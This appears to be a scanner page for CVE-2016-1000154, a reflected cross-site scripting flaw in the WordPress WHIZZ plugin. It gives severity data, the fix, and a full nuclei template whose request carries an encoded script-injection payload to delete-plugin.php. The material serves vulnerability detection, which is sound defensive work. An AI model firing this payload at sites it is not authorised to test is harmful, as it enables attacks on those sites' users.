WordPress WHIZZ <=1.0.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin WHIZZ 1.07 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update WordPress WHIZZ plugin to the latest version (>=1.0.8) which includes a fix for the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/whizz/readme.txt
Positive when: contains "WHIZZ" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000154 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000154

info:
  name: WordPress WHIZZ <=1.0.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin WHIZZ 1.07 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update WordPress WHIZZ plugin to the latest version (>=1.0.8) which includes a fix for the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=112
    - https://wordpress.org/plugins/whizz
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000154
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000154
    cwe-id: CWE-79
    epss-score: 0.03432
    epss-percentile: 0.89052
    cpe: cpe:2.3:a:browserweb:whizz:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: browserweb
    product: whizz
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,browserweb,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/whizz/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WHIZZ'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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